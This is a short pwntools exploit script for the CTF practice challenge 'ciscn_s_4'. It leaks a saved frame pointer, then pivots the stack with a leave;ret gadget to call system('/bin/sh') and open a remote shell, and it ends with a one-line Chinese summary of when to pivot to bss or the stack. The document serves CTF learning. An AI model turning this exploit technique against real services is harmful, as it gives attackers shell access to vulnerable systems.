1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level = 'debug'
    4. io = remote("node4.buuoj.cn",25235)
    5. #io = process('./ciscn_s_4')
    6. elf = ELF('./ciscn_s_4')
    7. system_addr = elf.sym['system']
    8. leave_addr =0x080485FD
    9. io.recv()
    10. payload = b'a'*0x24+'bbbb'
    11. io.send(payload)
    12. io.recvuntil('bbbb')
    13. ebp_addr = u32(io.recv(4))
    14. log.success('ebp_addr:'+hex(ebp_addr))
    15. payload = 'bbbb'+p32(system_addr)+b'aaaa'+p32(ebp_addr-0x38+16)+'/bin/sh\x00'
    16. payload = payload.ljust(0x28,'\x00')
    17. payload += p32(ebp_addr-0x38)+p32(leave_addr)
    18. io.send(payload)
    19. io.interactive()

    总结一下,栈迁移一般都会遇到两次输入,然后呢,bss段可执行就可以往bss段上写,不行就得往栈上迁移。